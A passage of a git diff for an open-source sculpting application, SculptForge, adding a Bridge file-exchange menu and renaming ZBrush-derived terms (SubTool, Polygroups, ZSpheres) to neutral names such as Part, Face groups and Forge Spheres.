+ if (name == "bridge_send") bridgeListTime_ = fileTime(bridgeObjectListPath(bridgeFolder_[0] ? bridgeFolder_ : bridgeDefaultRoot()));
+}
+
+void App::drawBridgeMenu() {
+ if (!bridgeInitialised_) pollBridge(); // sets up the dialogs
+ if (!ImGui::BeginMenu("Bridge")) return;
+ const std::string root = bridgeFolder_[0] ? std::string(bridgeFolder_) : bridgeDefaultRoot();
+ const bool bridge = !root.empty();
+ if (ImGui::MenuItem("Send")) {
+ runBridgeCommand("bridge_send");
+ if (bridge) bridgeAutoReceive_ = true; // a round trip comes back the same way
+ }
+ if (!bridge && ImGui::IsItemHovered()) ImGui::SetTooltip("%s", bridgeUnavailableMessage().c_str());
+ if (ImGui::MenuItem("Receive")) runBridgeCommand("bridge_receive");
+ if (!bridge && ImGui::IsItemHovered()) ImGui::SetTooltip("%s", bridgeUnavailableMessage().c_str());
+ if (ImGui::MenuItem("Receive automatically", nullptr, &bridgeAutoReceive_, bridge) && bridgeAutoReceive_)
+ bridgeListTime_ = fileTime(bridgeObjectListPath(root));
+ if (bridge) ImGui::TextDisabled("Bridge folder: %s", root.c_str());
+ else ImGui::TextDisabled("No default bridge folder on this system;\nBridge files still import and export.");
+ ImGui::SetNextItemWidth(260.0f * uiScale_);
+ ImGui::InputTextWithHint("##bridgefolder", "Custom bridge folder (optional)", bridgeFolder_, sizeof(bridgeFolder_));
+ ImGui::Separator();
+ if (ImGui::MenuItem("Import Bridge file..."))
+ SDL_ShowOpenFileDialog(onBridgeFileChosen, &bridgeDialogs_[int(BridgeFile::Import)], window_, kBridgeFilters, 2, nullptr, false);
+ if (ImGui::MenuItem("Export Bridge file..."))
+ SDL_ShowSaveFileDialog(onBridgeFileChosen, &bridgeDialogs_[int(BridgeFile::Export)], window_, kBridgeFilters, 2, nullptr);
+ ImGui::EndMenu();
+}
+
+void App::pollBridge() {
+ if (!bridgeInitialised_) {
+ bridgeInitialised_ = true;
+ for (int i = 0; i < int(BridgeFile::Count); ++i) bridgeDialogs_[i] = {this, BridgeFile(i)};
+ // Register this executable Bridge target (BridgeApps/SculptForge/Bridge_Config.txt).
+ if (const char* base = SDL_GetBasePath()) {
+#ifdef _WIN32
+ setBridgeApplicationPath(std::string(base) + "sculptforge.exe");
+#else
+ setBridgeApplicationPath(std::string(base) + "sculptforge");
+#endif
+ }
+ }
+ std::vector<std::pair<BridgeFile, std::string>> files;
+ {
+ std::lock_guard lock(pendingMutex_);
+ files.swap(bridgePendingFiles_);
+ }
+ for (const auto& [kind, path] : files) {
+ // Importing replaces the scene and its undo history, so ask about unsaved work first.
+ if (kind == BridgeFile::Import)
+ confirmDiscard([this, p = path] { runBridgeCommand("bridge_import", {{"path", p}}); });
+ else runBridgeCommand(kind == BridgeFile::Export ? "bridge_export" : "export_stl", {{"path", path}});
+ }
+
+ // Auto-receive: the other application rewrites Bridge_ObjectList.txt on every Bridge send. Check once a second.
+ if (!bridgeAutoReceive_ || doc_.sculptor.strokeActive()) return;
+ const Uint64 now = SDL_GetTicksNS();
+ if (now - bridgeLastPollNs_ < 1'000'000'000ull) return;
+ bridgeLastPollNs_ = now;
+ const std::string list = bridgeObjectListPath(bridgeFolder_[0] ? std::string(bridgeFolder_) : bridgeDefaultRoot());
+ const long long t = fileTime(list);
+ if (t == 0 || t == bridgeListTime_) return;
+ bridgeListTime_ = t;
+ runBridgeCommand("bridge_receive");
+}
+
+} // namespace sf
diff --git a/src/app/PanelBrushes.cpp b/src/app/PanelBrushes.cpp
index 68eab9ed..753468b6 100644
--- a/src/app/PanelBrushes.cpp
+++ b/src/app/PanelBrushes.cpp
@@ -37,7 +37,7 @@ void App::pollAlphaFile() {
if (!alphaPath.empty()) runCommand("brush_set_alpha", {{"path", alphaPath}, {"invert", alphaInvert_}});
}
-// Alpha palette: the stamp that shapes the brush (ZBrush alpha).
+// Alpha palette: the stamp that shapes the brush (alpha).
void App::drawAlphaSection() {
const BrushAlpha& alpha = doc_.brushAlpha;
const float s = uiScale_;
diff --git a/src/app/PanelExtract.cpp b/src/app/PanelExtract.cpp
index bbd644a5..69b97c51 100644
--- a/src/app/PanelExtract.cpp
+++ b/src/app/PanelExtract.cpp
@@ -1,7 +1,7 @@
// SculptForge - open source digital sculpting
// SPDX-License-Identifier: GPL-3.0-or-later
//
-// ZBrush's Extract (Tool > SubTool), Mirror And Weld (Tool > Geometry > Modify Topology) and Mirror
+// the classic Extract (Tool > Part), Mirror And Weld (Tool > Geometry > Modify Topology) and Mirror
// (Tool > Deformation). The work is done by the extract / mirror_and_weld / mirror commands (core/ExtractMirror.h).
#include "app/App.h"
#include "app/Demo.h"
@@ -31,11 +31,11 @@ void App::drawExtractContents() {
Demo::pushScope("Extract");
tray::GroupLabel(*this, "Extract");
const float half = (ImGui::GetContentRegionAvail().x - ImGui::GetStyle().ItemSpacing.x) * 0.5f;
- ui::ActionButton(*this, "subtool.extract", ImVec2(half, 0));
- ui::HelpAction(*this, "subtool.extract");
+ ui::ActionButton(*this, "part.extract", ImVec2(half, 0));
+ ui::HelpAction(*this, "part.extract");
ImGui::SameLine();
- ui::ActionButton(*this, "subtool.extract_accept", ImVec2(-1, 0));
- ui::HelpAction(*this, "subtool.extract_accept");
+ ui::ActionButton(*this, "part.extract_accept", ImVec2(-1, 0));
+ ui::HelpAction(*this, "part.extract_accept");
// The settings: changing one while the preview shows extracts again, so the preview follows.
bool changed = false;
@@ -53,10 +53,10 @@ void App::drawExtractContents() {
"Thickness of the shell, as a fraction of the Part's size (0.015 is 1.5%). Negative grows it "
"inward; 0 makes a single-sided surface.",
"Tool > Parts > Extract");
- ui::ActionButton(*this, "subtool.extract_double", ImVec2(half, 0));
- ui::HelpAction(*this, "subtool.extract_double");
+ ui::ActionButton(*this, "part.extract_double", ImVec2(half, 0));
+ ui::HelpAction(*this, "part.extract_double");
ImGui::SameLine();
- ui::Segmented(*this, {"subtool.extract_tcorne", "subtool.extract_tborder"}, -1.0f);
+ ui::Segmented(*this, {"part.extract_tcorne", "part.extract_tborder"}, -1.0f);
if (changed && doc_.extractPreviewCurrent()) runExtract();
Demo::popScope();
}
diff --git a/src/app/PanelFace.cpp b/src/app/PanelFace.cpp
index 8205421b..ed499263 100644
--- a/src/app/PanelFace.cpp
+++ b/src/app/PanelFace.cpp
@@ -190,7 +190,7 @@ void App::generateFaceShapesUi() {
Args args;
if (faceLandmarks_.count() >= 3) args["landmarks"] = faceLandmarks_.toJson().dump();
args["symmetry"] = std::string(faceSymmetry_ == 1 ? "on" : faceSymmetry_ == 2 ? "off" : "auto");
- args["subtools"] = faceSubtools_;
+ args["parts"] = faceParts_;
facePlacing_ = false;
runCommand("face_shapes_generate", args);
}
@@ -290,7 +290,7 @@ void App::drawFaceContents() {
"Auto: Left and Right shapes are made exact mirror images when the sculpt is symmetric about X = 0. "
"On: always (asymmetric spots take the average). Off: each side as fitted.",
kFacePath);
- ImGui::Checkbox("Parts too##face", &faceSubtools_);
+ ImGui::Checkbox("Parts too##face", &faceParts_);
ui::HelpText("Parts too", nullptr,
"Eyes (Parts named Eye...) turn for the eyeLook shapes, Teeth / Tongue follow the jaw below the "
"bite (and tongueOut), and other Parts on the face (brows, lashes, a beard) follow the skin.",
diff --git a/src/app/PanelPolygroups.cpp b/src/app/PanelFaceGroups.cpp
similarity index 76%
rename from src/app/PanelPolygroups.cpp
rename to src/app/PanelFaceGroups.cpp
index 9b812b87..aa9845d6 100644
--- a/src/app/PanelPolygroups.cpp
+++ b/src/app/PanelFaceGroups.cpp
@@ -1,17 +1,17 @@
// SculptForge - open source digital sculpting
// SPDX-License-Identifier: GPL-3.0-or-later
//
-// Polygroups and visibility UI: the Tools panel section and the ZBrush
+// Face groups and visibility UI: the Tools panel section and the classic
// Ctrl+Shift viewport gestures (click to isolate / hide a group or show all,
// drag a rectangle or lasso to hide outside or, with Alt, inside it; the
// shape is tracked and drawn by Selection.cpp). Every action goes through
-// the command registry (see core/Polygroups.cpp).
+// the command registry (see core/Face groups.cpp).
#include "app/App.h"
#include "app/Ui.h"
#include "app/I18n.h"
-#include "core/Polygroups.h"
+#include "core/FaceGroups.h"
namespace sf {
@@ -23,17 +23,17 @@ bool ctrlShiftDown(SDL_Keymod mod) {
} // namespace
-bool App::polygroupMouseDown(float x, float y, SDL_Keymod mod) {
+bool App::facegroupMouseDown(float x, float y, SDL_Keymod mod) {
if (cutPolylineMouseDown(x, y, mod)) return true; // Cut Polyline places points (PanelCut.cpp)
if (!ctrlShiftDown(mod) || previewLod_ >= 0) return false;
beginSelection(x, y, SelectTarget::Hide, hideShape_);
return true;
}
-void App::polygroupMouseUp() {
+void App::facegroupMouseUp() {
const bool alt = (inputMods() & SDL_KMOD_ALT) != 0;
if (!selectMoved_) {
- // Click, as in ZBrush: on a fully visible mesh show only the group under the cursor; on a partly
+ // Click: on a fully visible mesh show only the group under the cursor; on a partly
// hidden one hide it (the group that is all that's left: invert the visibility). Alt always hides it,
// the empty canvas shows everything.
doc_.syncBvh();
@@ -42,55 +42,55 @@ void App::polygroupMouseUp() {
if (doc_.mesh.hasHidden()) runCommand("show_all");
return;
}
- const uint32_t group = doc_.mesh.polygroupAt(hit.triangle);
- if (polygroupIsolated(doc_.mesh, group)) runCommand("invert_visibility");
- else if (alt || doc_.mesh.hasHidden()) runCommand("hide_polygroup", {{"group", double(group)}});
- else runCommand("isolate_polygroup", {{"group", double(group)}});
+ const uint32_t group = doc_.mesh.facegroupAt(hit.triangle);
+ if (facegroupIsolated(doc_.mesh, group)) runCommand("invert_visibility");
+ else if (alt || doc_.mesh.hasHidden()) runCommand("hide_facegroup", {{"group", double(group)}});
+ else runCommand("isolate_facegroup", {{"group", double(group)}});
return;
}
// Drag: keep the inside of the rectangle or lasso, or with Alt hide it. A shape around nothing (dragged on
- // the background) reverses the visibility instead (ZBrush).
+ // the background) reverses the visibility instead.
// The mirror image of the shape counts too with X / Y / Z symmetry on, as with MaskLasso / MaskRect (#51).
if (runSelection("hide_rect", "hide_lasso", withSymmetryArgs({{"inside", alt}})) && !lastCommandOk_ && !alt &&
doc_.mesh.hasHidden())
runCommand("invert_visibility");
}
-void App::drawPolygroupsSection() {
- ImGui::Checkbox(tr("Show face groups"), &renderSettings_.showPolygroups);
+void App::drawFaceGroupsSection() {
+ ImGui::Checkbox(tr("Show face groups"), &renderSettings_.showFaceGroups);
ImGui::SameLine();
const Mesh& m = doc_.mesh;
const std::array<uint64_t, 6> key = {doc_.undo.revision() + 1, uint64_t(doc_.modified), m.triangles.size(),
- m.polygroups.size(), uint64_t(reinterpret_cast<uintptr_t>(m.polygroups.data())),
+ m.facegroups.size(), uint64_t(reinterpret_cast<uintptr_t>(m.facegroups.data())),
uint64_t(reinterpret_cast<uintptr_t>(m.hidden.data())) ^ m.hidden.size()};
if (key != visibleGroupsKey_) {
visibleGroupsKey_ = key;
- visibleGroups_ = visiblePolygroupCount(m);
+ visibleGroups_ = visibleFaceGroupCount(m);
}
ImGui::TextDisabled(tr("%zu"), visibleGroups_);
if (ImGui::IsItemHovered()) ImGui::SetTooltip("%s", tr("Visible face groups"));
- // Grouping buttons switch the polygroup colours on so the result is visible.
+ // Grouping buttons switch the face group colours on so the result is visible.
auto group = [this](const char* command, const Args& args = {}) {
runCommand(command, args);
- renderSettings_.showPolygroups = true;
+ renderSettings_.showFaceGroups = true;
};
const float half = (ImGui::GetContentRegionAvail().x - ImGui::GetStyle().ItemSpacing.x) * 0.5f;
if (ImGui::Button(tr("By normals"), ImVec2(half, 0)))
- group("polygroup_auto_by_normals", {{"angle", double(polygroupAngle_)}});
+ group("facegroup_auto_by_normals", {{"angle", double(facegroupAngle_)}});
if (ImGui::IsItemHovered()) ImGui::SetTooltip("%s", tr("New group wherever the surface turns more than the angle"));
ImGui::SameLine();
ImGui::SetNextItemWidth(-1);
- ui::SliderInside("##pgangle", &polygroupAngle_, 1.0f, 90.0f, "Angle %.0f deg");
- if (ImGui::Button(tr("By pieces"), ImVec2(half, 0))) group("polygroup_by_connectivity");
+ ui::SliderInside("##pgangle", &facegroupAngle_, 1.0f, 90.0f, "Angle %.0f deg");
+ if (ImGui::Button(tr("By pieces"), ImVec2(half, 0))) group("facegroup_by_connectivity");
if (ImGui::IsItemHovered()) ImGui::SetTooltip("%s", tr("One group per disconnected piece"));
ImGui::SameLine();
- if (ImGui::Button(tr("From mask"), ImVec2(half, 0))) group("polygroup_from_mask");
+ if (ImGui::Button(tr("From mask"), ImVec2(half, 0))) group("facegroup_from_mask");
if (ImGui::IsItemHovered()) ImGui::SetTooltip("%s", tr("Masked triangles become a new group"));
- if (ImGui::Button(tr("Merge visible"), ImVec2(half, 0))) group("polygroup_merge_visible");
+ if (ImGui::Button(tr("Merge visible"), ImVec2(half, 0))) group("facegroup_merge_visible");
ImGui::SameLine();
- if (ImGui::Button(tr("Clear groups"), ImVec2(half, 0))) runCommand("polygroup_clear");
- ui::ActionButton(*this, "polygroup.uv_groups", ImVec2(half, 0));
+ if (ImGui::Button(tr("Clear groups"), ImVec2(half, 0))) runCommand("facegroup_clear");
+ ui::ActionButton(*this, "facegroup.uv_groups", ImVec2(half, 0));
}
void App::drawVisibilitySection() {
diff --git a/src/app/PanelFill.cpp b/src/app/PanelFill.cpp
index e2c62119..f7a6e86a 100644
--- a/src/app/PanelFill.cpp
+++ b/src/app/PanelFill.cpp
@@ -18,7 +18,7 @@
#include "core/LayerStack.h"
#include "core/MaterialRecipe.h"
#include "core/MeshMaps.h"
-#include "core/Polypaint.h"
+#include "core/VertexPaint.h"
#include "core/Texture.h"
#include <IconsLucide.h>
@@ -57,7 +57,7 @@ void App::updateMeshMaps() {
using Clock = std::chrono::steady_clock;
const auto now = [] { return std::chrono::duration<double>(Clock::now().time_since_epoch()).count(); };
Mesh& m = doc_.mesh;
- const uint32_t part = doc_.activeSubtoolInfo().id;
+ const uint32_t part = doc_.activePartInfo().id;
// A finished job: its maps go in when the Part still has the same texture layout.
if (meshMapJob_) {
if (!meshMapJob_->done) return;
diff --git a/src/app/PanelZSpheres.cpp b/src/app/PanelForgeSpheres.cpp
similarity index 57%
rename from src/app/PanelZSpheres.cpp
rename to src/app/PanelForgeSpheres.cpp
index 4b9947c1..869fce3b 100644
--- a/src/app/PanelZSpheres.cpp
+++ b/src/app/PanelForgeSpheres.cpp
@@ -1,8 +1,8 @@
// SculptForge - open source digital sculpting
// SPDX-License-Identifier: GPL-3.0-or-later
//
-// Tool > ZSpheres and the ZSphere tool in the viewport (ZBrush's ZSpheres, core/ZSpheres.h). While a ZSphere
-// SubTool is active a left-drag on it edits the armature instead of sculpting:
+// Tool > Forge Spheres and the Forge Sphere tool in the viewport (Forge Spheres, core/Forge Spheres.h). While a Forge Sphere
+// Part is active a left-drag on it edits the armature instead of sculpting:
// Draw - drag on a sphere to grow a new one from it (the drag sets its size); click a link to add a joint there
// and drag to place it
// Move - drag a sphere to move it across the screen
@@ -11,14 +11,14 @@
// Pointer only (#8): Drag places child makes a Draw drag move the new sphere away from its parent (Ctrl+drag does
// it once), the last sphere clicked or added is selected (Delete Selected, Insert Between, Set as Root), and a
// right click on a sphere opens a menu with the same three.
-// Dragging the background navigates as usual. Every drag is one undo step (the SubTool's mesh, which carries
-// the armature, is replaced once at release); the panel's buttons run the zsphere_* commands.
+// Dragging the background navigates as usual. Every drag is one undo step (the Part's mesh, which carries
+// the armature, is replaced once at release); the panel's buttons run the Forge Sphere_* commands.
#include "app/App.h"
#include "app/Demo.h"
#include "app/Palettes.h"
#include "app/Ui.h"
-#include "core/ZSpheres.h"
+#include "core/ForgeSpheres.h"
#include <algorithm>
#include <cmath>
@@ -27,11 +27,11 @@ namespace sf {
namespace {
-constexpr const char* kZSpheresPath = "Tool > Forge Spheres";
+constexpr const char* kForgeSpheresPath = "Tool > Forge Spheres";
bool ctrlDown(SDL_Keymod mod) { return (mod & (SDL_KMOD_CTRL | SDL_KMOD_GUI)) != 0; } // as App.cpp
-const char* modeName(int m) { return m == 0 ? "Draw" : m == 1 ? "Move" : "Scale"; } // App::ZSphereMode order
+const char* modeName(int m) { return m == 0 ? "Draw" : m == 1 ? "Move" : "Scale"; } // App::Forge SphereMode order
// Where the ray o + t*d meets the plane through p with normal n (t clamped to stay in front).
glm::vec3 planeHit(const glm::vec3& o, const glm::vec3& d, const glm::vec3& p, const glm::vec3& n) {
@@ -42,14 +42,14 @@ glm::vec3 planeHit(const glm::vec3& o, const glm::vec3& d, const glm::vec3& p, c
} // namespace
-void App::registerZSphereUiActions() {
+void App::registerForgeSphereUiActions() {
auto add = [this](const char* id, const char* label, std::function<void()> run, std::function<bool()> enabled,
std::function<bool()> checked, const char* description, const char* command = "",
const char* shortcut = "") {
Action a;
a.id = id;
a.label = label;
- a.palette = kZSpheresPath;
+ a.palette = kForgeSpheresPath;
a.run = std::move(run);
a.enabled = std::move(enabled);
a.checked = std::move(checked);
@@ -58,62 +58,62 @@ void App::registerZSphereUiActions() {
a.shortcut = shortcut;
actions_.add(std::move(a));
};
- const auto active = [this] { return zsphereActive(); };
- add("zsphere.new", "New Forge Sphere", [this] { runCommand("zsphere_new"); }, nullptr, nullptr,
+ const auto active = [this] { return forgesphereActive(); };
+ add("forgesphere.new", "New Forge Sphere", [this] { runCommand("forgesphere_new"); }, nullptr, nullptr,
"Add a Forge Sphere Part: one root sphere to block out a body, creature or plant from. Drag on a sphere to grow "
"limbs from it, Move and Scale them into proportion, check the skin with Preview (A), then Make Mesh.",
- "zsphere_new");
- const auto mode = [this](ZSphereMode m) {
+ "forgesphere_new");
+ const auto mode = [this](ForgeSphereMode m) {
return [this, m] {
- zsphereMode_ = m;
+ forgesphereMode_ = m;
status_ = std::string("Forge Spheres: ") + modeName(int(m)) +
- (m == ZSphereMode::Draw ? " - drag on a sphere to grow a new one; click a link to add a joint"
- : m == ZSphereMode::Move ? " - drag a sphere to move it"
+ (m == ForgeSphereMode::Draw ? " - drag on a sphere to grow a new one; click a link to add a joint"
+ : m == ForgeSphereMode::Move ? " - drag a sphere to move it"
: " - drag a sphere up or right to grow it, down or left to shrink it");
};
};
- add("zsphere.draw", "Draw", mode(ZSphereMode::Draw), active, [this] { return zsphereMode_ == ZSphereMode::Draw; },
+ add("forgesphere.draw", "Draw", mode(ForgeSphereMode::Draw), active, [this] { return forgesphereMode_ == ForgeSphereMode::Draw; },
"Drag on a sphere to grow a new sphere from it (how far you drag sets its size). Click a link between two "
"spheres to add a joint there, and drag to place it. Alt+click a sphere to delete it.");
- add("zsphere.move", "Move", mode(ZSphereMode::Move), active, [this] { return zsphereMode_ == ZSphereMode::Move; },
+ add("forgesphere.move", "Move", mode(ForgeSphereMode::Move), active, [this] { return forgesphereMode_ == ForgeSphereMode::Move; },
"Drag a sphere to move it; the links stretch to follow. Symmetry moves its mirror twin too.");
- add("zsphere.scale", "Scale", mode(ZSphereMode::Scale), active, [this] { return zsphereMode_ == ZSphereMode::Scale; },
+ add("forgesphere.scale", "Scale", mode(ForgeSphereMode::Scale), active, [this] { return forgesphereMode_ == ForgeSphereMode::Scale; },
"Drag a sphere up or right to make it bigger, down or left to make it smaller.");
- add("zsphere.place_child", "Drag places child", [this] { zspherePlaceChild_ = !zspherePlaceChild_; }, active,
- [this] { return zspherePlaceChild_; },
+ add("forgesphere.place_child", "Drag places child", [this] { forgespherePlaceChild_ = !forgespherePlaceChild_; }, active,
+ [this] { return forgespherePlaceChild_; },
"Draw: dragging on a sphere moves the new sphere away from it (one drag places a limb joint) instead of "
"sizing it. Off, hold Ctrl while you drag for the same.");
- const auto selected = [this] { return zsphereActive() && zsphereSelection() > 0; };
- add("zsphere.delete_selected", "Delete Selected", [this] { zsphereEdit(ZSphereEdit::Delete, zsphereSelection()); },
+ const auto selected = [this] { return forgesphereActive() && forgesphereSelection() > 0; };
+ add("forgesphere.delete_selected", "Delete Selected", [this] { forgesphereEdit(ForgeSphereEdit::Delete, forgesphereSelection()); },
selected, nullptr,
"Delete the selected sphere (the one you last clicked or added, outlined in orange) and everything growing "
"from it. The root stays.");
- add("zsphere.insert_selected", "Insert Between", [this] { zsphereEdit(ZSphereEdit::Insert, zsphereSelection()); },
+ add("forgesphere.insert_selected", "Insert Between", [this] { forgesphereEdit(ForgeSphereEdit::Insert, forgesphereSelection()); },
selected, nullptr, "Add a joint halfway along the link from the selected sphere to the one it grows from.");
- add("zsphere.set_root", "Set as Root", [this] { zsphereEdit(ZSphereEdit::SetRoot, zsphereSelection()); }, selected,
+ add("forgesphere.set_root", "Set as Root", [this] { forgesphereEdit(ForgeSphereEdit::SetRoot, forgesphereSelection()); }, selected,
nullptr,
"Make the selected sphere the root: the armature keeps its shape and grows from there (the links on the way "
"turn around).",
- "zsphere_set_root");
- add("zsphere.preview", "Preview", [this] { runCommand("zsphere_preview"); }, active,
- [this] { return doc_.mesh.zspherePreview; },
+ "forgesphere_set_root");
+ add("forgesphere.preview", "Preview", [this] { runCommand("forgesphere_preview"); }, active,
+ [this] { return doc_.mesh.forgespherePreview; },
"Show the skin Make Mesh would build instead of the spheres. Turn it off to edit the "
"spheres again.",
- "zsphere_preview", "A");
- add("zsphere.make_mesh", "Make Mesh",
- [this] { runCommand("zsphere_make_mesh", {{"resolution", double(zsphereResolution_)}}); }, active, nullptr,
+ "forgesphere_preview", "A");
+ add("forgesphere.make_mesh", "Make Mesh",
+ [this] { runCommand("forgesphere_make_mesh", {{"resolution", double(forgesphereResolution_)}}); }, active, nullptr,
"Build the skin as a new, sculptable Part right below (watertight quads, one face group per link), like "
"Make Adaptive Skin. The Forge Sphere Part is hidden and kept: show it to change the proportions and "
"make a new mesh.",
- "zsphere_make_mesh");
+ "forgesphere_make_mesh");
}
-void App::drawZSpheresContents() {
+void App::drawForgeSpheresContents() {
const ImGuiStyle& style = ImGui::GetStyle();
const float full = ImGui::GetContentRegionAvail().x;
const float half = (full - style.ItemSpacing.x) * 0.5f;
- if (!zsphereActive()) {
- ui::ActionButton(*this, "zsphere.new", ImVec2(full, 0));
+ if (!forgesphereActive()) {
+ ui::ActionButton(*this, "forgesphere.new", ImVec2(full, 0));
ImGui::PushTextWrapPos(0.0f);
ImGui::TextDisabled("Block out a base mesh from connected spheres, then Make Mesh to sculpt it.");
ImGui::PopTextWrapPos();
@@ -121,34 +121,34 @@ void App::drawZSpheresContents() {
}
tray::GroupLabel(*this, "Edit");
const float third = (full - 2.0f * style.ItemSpacing.x) / 3.0f;
- ui::ActionButton(*this, "zsphere.draw", ImVec2(third, 0));
+ ui::ActionButton(*this, "forgesphere.draw", ImVec2(third, 0));
ImGui::SameLine();
- ui::ActionButton(*this, "zsphere.move", ImVec2(third, 0));
+ ui::ActionButton(*this, "forgesphere.move", ImVec2(third, 0));
ImGui::SameLine();
- ui::ActionButton(*this, "zsphere.scale", ImVec2(-1, 0));
- ui::ActionButton(*this, "zsphere.place_child", ImVec2(full, 0));
- ui::ActionButton(*this, "zsphere.delete_selected", ImVec2(full, 0));
- ui::ActionButton(*this, "zsphere.insert_selected", ImVec2(half, 0));
+ ui::ActionButton(*this, "forgesphere.scale", ImVec2(-1, 0));
+ ui::ActionButton(*this, "forgesphere.place_child", ImVec2(full, 0));
+ ui::ActionButton(*this, "forgesphere.delete_selected", ImVec2(full, 0));
+ ui::ActionButton(*this, "forgesphere.insert_selected", ImVec2(half, 0));
ImGui::SameLine();
- ui::ActionButton(*this, "zsphere.set_root", ImVec2(-1, 0));
- ui::ActionButton(*this, "zsphere.preview", ImVec2(half, 0));
+ ui::ActionButton(*this, "forgesphere.set_root", ImVec2(-1, 0));
+ ui::ActionButton(*this, "forgesphere.preview", ImVec2(half, 0));
ImGui::SameLine();
ImGui::AlignTextToFramePadding();
- ImGui::TextDisabled("%zu %s", doc_.mesh.zspheres.size(), doc_.mesh.zspheres.size() == 1 ? "sphere" : "spheres");
- if (const int sel = zsphereSelection(); sel >= 0) {
+ ImGui::TextDisabled("%zu %s", doc_.mesh.forgespheres.size(), doc_.mesh.forgespheres.size() == 1 ? "sphere" : "spheres");
+ if (const int sel = forgesphereSelection(); sel >= 0) {
ImGui::SameLine();
ImGui::TextDisabled(sel == 0 ? "(root selected)" : "(sphere %d selected)", sel);
}
tray::GroupLabel(*this, "Make Mesh");
- ui::ActionButton(*this, "zsphere.make_mesh", ImVec2(half, 0));
+ ui::ActionButton(*this, "forgesphere.make_mesh", ImVec2(half, 0));
ImGui::SameLine();
ImGui::SetNextItemWidth(-1);
- tray::SliderInt("##zsres", &zsphereResolution_, 32, 512, "Resolution %d");
+ tray::SliderInt("##zsres", &forgesphereResolution_, 32, 512, "Resolution %d");
ui::HelpText("Resolution", nullptr,
"How dense Make Mesh's skin is: cells across the model's longest side. 128 suits a blockout; raise it "
"for thin fingers or tails.",
- kZSpheresPath);
- ui::ActionButton(*this, "zsphere.new", ImVec2(full, 0));
+ kForgeSpheresPath);
+ ui::ActionButton(*this, "forgesphere.new", ImVec2(full, 0));
}
float App::worldPerPixel(const glm::vec3& at) const {
@@ -161,79 +161,79 @@ float App::worldPerPixel(const glm::vec3& at) const {
return glm::length(planeHit(o1, d1, at, n) - planeHit(o0, d0, at, n));
}
-int App::zsphereAt(float x, float y, bool* link) const {
+int App::forgesphereAt(float x, float y, bool* link) const {
RayHit hit;
- if (!zsphereActive() || doc_.mesh.zspherePreview || !pick(x, y, hit)) return -1;
- const int i = zsphereOfGroup(doc_.mesh.polygroupAt(hit.triangle), link);
- return i >= 0 && size_t(i) < doc_.mesh.zspheres.size() ? i : -1;
+ if (!forgesphereActive() || doc_.mesh.forgespherePreview || !pick(x, y, hit)) return -1;
+ const int i = forgesphereOfGroup(doc_.mesh.facegroupAt(hit.triangle), link);
+ return i >= 0 && size_t(i) < doc_.mesh.forgespheres.size() ? i : -1;
}
-bool App::zsphereMouseDown(float x, float y, SDL_Keymod mod) {
- if (!zsphereActive()) return false;
+bool App::forgesphereMouseDown(float x, float y, SDL_Keymod mod) {
+ if (!forgesphereActive()) return false;
RayHit hit;
if (!pick(x, y, hit)) return false; // the background navigates
- if (doc_.mesh.zspherePreview) {
+ if (doc_.mesh.forgespherePreview) {
status_ = "Forge Spheres: Preview is on (A turns it off to edit the spheres)";
return true;
}
bool link = false;
- const int i = zsphereOfGroup(doc_.mesh.polygroupAt(hit.triangle), &link);
- if (i < 0 || size_t(i) >= doc_.mesh.zspheres.size()) return true;
+ const int i = forgesphereOfGroup(doc_.mesh.facegroupAt(hit.triangle), &link);
+ if (i < 0 || size_t(i) >= doc_.mesh.forgespheres.size()) return true;
if (mod & SDL_KMOD_ALT) { // delete the sphere and what grows from it
if (link || i == 0) {
status_ = i == 0 && !link ? "Forge Spheres: the root sphere stays" : "Forge Spheres: Alt+click a sphere to delete it";
return true;
}
- std::vector<ZSphere> s = doc_.mesh.zspheres;
+ std::vector<ForgeSphere> s = doc_.mesh.forgespheres;
const size_t before = s.size();
- zsphereDelete(s, i, symmetry_);
- doc_.replaceMeshUndoable(zsphereMesh(s, false), "Forge Sphere delete");
+ forgesphereDelete(s, i, symmetry_);
+ doc_.replaceMeshUndoable(forgesphereMesh(s, false), "Forge Sphere delete");
status_ = "Forge Spheres: deleted " + std::to_string(before - s.size()) + " spheres; " + std::to_string(s.size()) + " left";
- zsphereSelected_ = -1;
+ forgesphereSelected_ = -1;
return true;
}
- if (!link) zsphereSelected_ = i;
- ZSphereDrag& d = zsDrag_;
+ if (!link) forgesphereSelected_ = i;
+ ForgeSphereDrag& d = zsDrag_;
d = {};
- d.start = doc_.mesh.zspheres;
+ d.start = doc_.mesh.forgespheres;
d.before = doc_.mesh;
d.x = x;
d.y = y;
- d.op = zsphereMode_;
+ d.op = forgesphereMode_;
d.sphere = i;
- if (d.op == ZSphereMode::Draw && link) { // a joint on the link, then the drag places it
- zsphereInsert(d.start, i, symmetry_, &d.sphere);
- d.op = ZSphereMode::Move;
+ if (d.op == ForgeSphereMode::Draw && link) { // a joint on the link, then the drag places it
+ forgesphereInsert(d.start, i, symmetry_, &d.sphere);
+ d.op = ForgeSphereMode::Move;
d.label = "Forge Sphere insert";
d.changed = true;
- doc_.mesh = zsphereMesh(d.start, false);
+ doc_.mesh = forgesphereMesh(d.start, false);
doc_.mesh.topologyDirty = true;
doc_.bvh.build(doc_.mesh);
- } else if (d.op == ZSphereMode::Draw) {
+ } else if (d.op == ForgeSphereMode::Draw) {
d.label = "Forge Sphere add";
- d.place = zspherePlaceChild_ || ctrlDown(mod); // the drag moves the new sphere out instead of sizing it
+ d.place = forgespherePlaceChild_ || ctrlDown(mod); // the drag moves the new sphere out instead of sizing it
} else {
- d.label = d.op == ZSphereMode::Move ? "Forge Sphere move" : "Forge Sphere scale";
+ d.label = d.op == ForgeSphereMode::Move ? "Forge Sphere move" : "Forge Sphere scale";
}
- if (d.op == ZSphereMode::Move) {
+ if (d.op == ForgeSphereMode::Move) {
glm::vec3 o, dir;
canvasRay(x, y, o, dir);
const glm::vec3 c = d.start[size_t(d.sphere)].center;
d.grab = c - planeHit(o, dir, c, glm::normalize(dir));
}
- if (d.op == ZSphereMode::Draw) zsphereDragTo(x, y); // the new sphere appears at once, at half its parent's size
- drag_ = Drag::ZSphere;
+ if (d.op == ForgeSphereMode::Draw) forgesphereDragTo(x, y); // the new sphere appears at once, at half its parent's size
+ drag_ = Drag::ForgeSphere;
return true;
}
-void App::zsphereDragTo(float x, float y) {
- ZSphereDrag& d = zsDrag_;
+void App::forgesphereDragTo(float x, float y) {
+ ForgeSphereDrag& d = zsDrag_;
if (d.sphere < 0) return;
- std::vector<ZSphere> s = d.start;
- const ZSphere& z = s[size_t(d.sphere)];
+ std::vector<ForgeSphere> s = d.start;
+ const ForgeSphere& z = s[size_t(d.sphere)];
const float moved = std::hypot(x - d.x, y - d.y);
